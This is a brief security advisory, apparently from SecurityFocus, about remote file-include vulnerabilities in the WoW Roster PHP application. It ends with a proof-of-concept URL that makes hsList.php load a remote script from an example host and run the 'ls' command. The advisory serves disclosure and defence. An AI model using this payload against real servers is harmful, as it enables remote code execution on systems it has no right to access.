source: https://www.securityfocus.com/bid/19269/info

WoW Roster is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit may allow unauthorized users to execute remote PHP scripts; other attacks are also possible.

http://www.example.com/[wow_roster_path]/hsList.php?subdir=http://www.example.com/cmd.txt?&cmd=ls